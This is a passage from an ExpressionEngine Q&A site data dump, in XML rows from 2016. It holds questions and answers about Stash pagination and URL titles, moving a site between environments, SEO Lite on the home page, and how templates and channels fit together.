{/st_pre:paginate}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that the URL stays with the &lt;code&gt;{url_title}&lt;/code&gt; of whatever the initial blog post read was. Is there a way to use the next and previous to actually link to the true link?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* UPDATE *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to use the &lt;code&gt;{exp:channel:next_entry}&lt;/code&gt; and &lt;code&gt;{exp:channel:prev_entry}&lt;/code&gt; per a suggestion from @croxton. Now I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:prev_entry&#xA;    url_title=&quot;{segment_2}&quot;&#xA;    channel=&quot;blog_post&quot;&#xA;}&#xA;    &amp;lt;a href='{path=&quot;blog&quot;}' class='btn flat'&amp;gt;Previous Post&amp;lt;/a&amp;gt;{/exp:channel:prev_entry}&#xA;{exp:channel:next_entry&#xA;    url_title=&quot;{segment_2}&quot;&#xA;    channel=&quot;blog_post&quot;&#xA;}&#xA;    &amp;lt;a href='{path=&quot;blog&quot;}' class='btn flat pull-right'&amp;gt;Next Post&amp;lt;/a&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOW the issue is stash keeping the same variables on the page when it directs to the new link...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current Page:&#xA;&lt;code&gt;http://my-site.com/blog/article-3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previous Link:&#xA;&lt;code&gt;http://my-site.com/blog/article-2/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next Link:&#xA;&lt;code&gt;http://my-site.com/blog/article-4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is working great... However, the page content is keeping the stashed values for elements like  &lt;code&gt;&amp;lt;div class=&quot;title&quot;&amp;gt;{st_pre:sv_bp_title}&amp;lt;/div&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That sits inside my &lt;code&gt;{exp:stash:get_list}&lt;/code&gt; which is set like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list&#xA;    name=&quot;sv_blogs_post_list&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_conditionals=&quot;yes&quot;&#xA;    process=&quot;end&quot;&#xA;    prefix=&quot;st_pre&quot;&#xA;    limit=&quot;{stash:list_limit}&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of those are being set in a data template like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:stash:set_list name=&quot;sv_blogs_post_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;        {exp:channel:entries&#xA;            channel=&quot;{stash:channel}&quot;&#xA;            dynamic=&quot;{stash:dynamic}&quot;&#xA;            orderby=&quot;{stash:order_by}&quot;&#xA;            status=&quot;{stash:status}&quot;&#xA;            limit=&quot;{stash:limit}&quot;&#xA;            paginate=&quot;{stash:paginate}&quot;&#xA;        }&#xA;            {stash:sv_bp_entry_id}{entry_id}{/stash:sv_bp_entry_id}&#xA;            {stash:sv_bp_entry_date}{entry_date format=&quot;%m.%d.%Y&quot;}{/stash:sv_bp_entry_date}&#xA;            {stash:sv_bp_relative_time}{relative_date}{/stash:sv_bp_relative_time}&#xA;            {stash:sv_bp_author}{author}{/stash:sv_bp_author}&#xA;            {stash:sv_bp_screen_name}{screen_name}{/stash:sv_bp_screen_name}&#xA;            {stash:sv_bp_title}{title}{/stash:sv_bp_title}&#xA;            {stash:sv_bp_url_title}{url_title}{/stash:sv_bp_url_title}&#xA;            {stash:sv_bp_url_title_path}{url_title_path='blog'}{/stash:sv_bp_url_title_path}&#xA;            {stash:sv_bp_blog_copy}{blog_copy}{/stash:sv_bp_blog_copy}&#xA;            {exp:stash:set_list:nested name=&quot;sv_bp_header_images_{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;                {header_image}&#xA;                    {stash:sv_bp_header_image}{image:url:slider}{/stash:sv_bp_header_image}&#xA;                    {stash:sv_bp_header_image_original}{image:url}{/stash:sv_bp_header_image_original}&#xA;                    {stash:sv_bp_header_image_title}{image:title}{/stash:sv_bp_header_image_title}&#xA;                {/header_image}&#xA;            {/exp:stash:set_list:nested}&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing a tag in my set or get for stash???&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2016-03-11T14:33:12.063" LastActivityDate="2016-03-11T15:29:00.493" Title="Using Stash pagination links and need cleaner URL's" Tags="|stash|url|pagination|links|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35837" PostTypeId="1" AcceptedAnswerId="35839" CreationDate="2016-03-11T07:05:37.383" Score="1" ViewCount="30" Body="&lt;p&gt;I'm a newbie in expression engine and would like to know if there is a module, app, plugin or script that allows for one to move not only the site but addonn settings from local &gt; staging &gt; production. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used drupal 7 and they have a features module where dependencies for specific modules can be set and moved from local &gt; staging and production without having to setup on the different environments. &lt;/p&gt;&#xA;" OwnerUserId="7080" LastActivityDate="2016-03-11T09:23:14.867" Title="Expressionengine migration module" Tags="|migration|feature-request|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35838" PostTypeId="2" ParentId="35791" CreationDate="2016-03-11T07:26:32.087" Score="-1" Body="&lt;p&gt;Tha @jim Wyse implemented the facebook sdk 5 module in the contollers and views folder. worked locally&lt;/p&gt;&#xA;" OwnerUserId="7080" LastActivityDate="2016-03-11T07:26:32.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35839" PostTypeId="2" ParentId="35837" CreationDate="2016-03-11T09:23:14.867" Score="0" Body="&lt;p&gt;You might find a thing called &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;MasterConfig&lt;/a&gt; by FocusLabs is what you need.  You can read more about it and how to use it in this useful posting by Patrick Pohler -“&lt;a href=&quot;http://www.patpohler.com/expressionengine-multiple-environments/&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine multiple environments with Master Config&lt;/a&gt;”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve not used it, but general feedback on the EE Slack suggests that many do, and find it useful, but that configuration for multiple platforms can be a bit of challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-03-11T09:23:14.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35841" PostTypeId="2" ParentId="35836" CreationDate="2016-03-11T15:29:00.493" Score="0" Body="&lt;p&gt;Thanks to Mark Croxton (Twitter) and Sam Royama (Skype) for the help with this one. Mark got me going with the Prev/Next entry solution. Sam helped me realize my rookie mistake of not accepting a &lt;code&gt;url_title&lt;/code&gt; parameter in my &lt;code&gt;set_list&lt;/code&gt;.   GRRRRR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... In the last block of code from the OP, I needed to add the &lt;code&gt;url_title&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;sv_blogs_post_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;{stash:channel}&quot;&#xA;        dynamic=&quot;{stash:dynamic}&quot;&#xA;        orderby=&quot;{stash:order_by}&quot;&#xA;        status=&quot;{stash:status}&quot;&#xA;        limit=&quot;{stash:limit}&quot;&#xA;        paginate=&quot;{stash:paginate}&quot;&#xA;&#xA;        url_title=&quot;{stash:url_title}&quot;&#xA;&#xA;    }&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-03-11T15:29:00.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35842" PostTypeId="1" CreationDate="2016-03-11T16:21:47.693" Score="0" ViewCount="331" Body="&lt;p&gt;I have implemented SEO Lite into my site and have it all set up and working for all of my pages/entries, but I’m having trouble figuring out how to get it to work for my home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using {exp:seo_lite use_last_segment='yes’} in my main layout template. Since the home page has no segment, the tag is not pulling in the home page channel entry values from the SEO Lite tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get this working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2019-01-24T15:03:15.670" Title="SEO Lite &amp; Home Page" Tags="|seo-lite|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35843" PostTypeId="1" CreationDate="2016-03-11T18:25:41.810" Score="0" ViewCount="31" Body="&lt;p&gt;I am new to expression Engine and I'm coming from a Wordpress background. I am just trying to wrap my head around all the terms. Despite taking some online lessons, I am still lost at explaining what a template and channel are. I've gone to Ellis Labs many times and their definitions seem way too generic. When I go to build a new site, I am not sure which should be built in a channel or template and I don't know why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of any hierarchy of some type that lays out the framework of the Expression Engine? Perhaps a place that gives an exhaustive definition of each part of the framework (template, channel, entries fields, entries fields group, channel fields group, categories, categories group, relationships, etc) Ugh......just listing them..... can you see why I'm getting confused!?! What is more important then what? If Expression Engine were a chessboard, which ones are queens or kings or pawns? get me?&lt;/p&gt;&#xA;" OwnerUserId="7181" LastActivityDate="2016-03-11T19:54:51.487" Title="Expressiong Engine Heirarchy" Tags="|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35846" PostTypeId="2" ParentId="35843" CreationDate="2016-03-11T19:48:52.310" Score="1" Body="&lt;p&gt;EE has a steep learning curve, so don't think you are alone in being mystified as a new user.  There are probably better definitive books you can get that explain things - one highly regarded recent book is &lt;a href=&quot;http://eeguidebook.com&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; and is probably worth getting / reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three key concepts to get you started though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) In EE information (e.g. blog entries etc.) are stored independently of any direction about how they will subsequently be displayed.  All data is stored in &lt;strong&gt;fields&lt;/strong&gt; which are themselves stored within &lt;strong&gt;entries&lt;/strong&gt; within a &lt;strong&gt;channel&lt;/strong&gt;.  You can define multiple channels within a web site - so one for products, another for locations, a third for blog articles and so on.  Each channel is associated with a specific set of defined fields - this collection of fields is known as a &lt;strong&gt;channel field group&lt;/strong&gt;.  Whe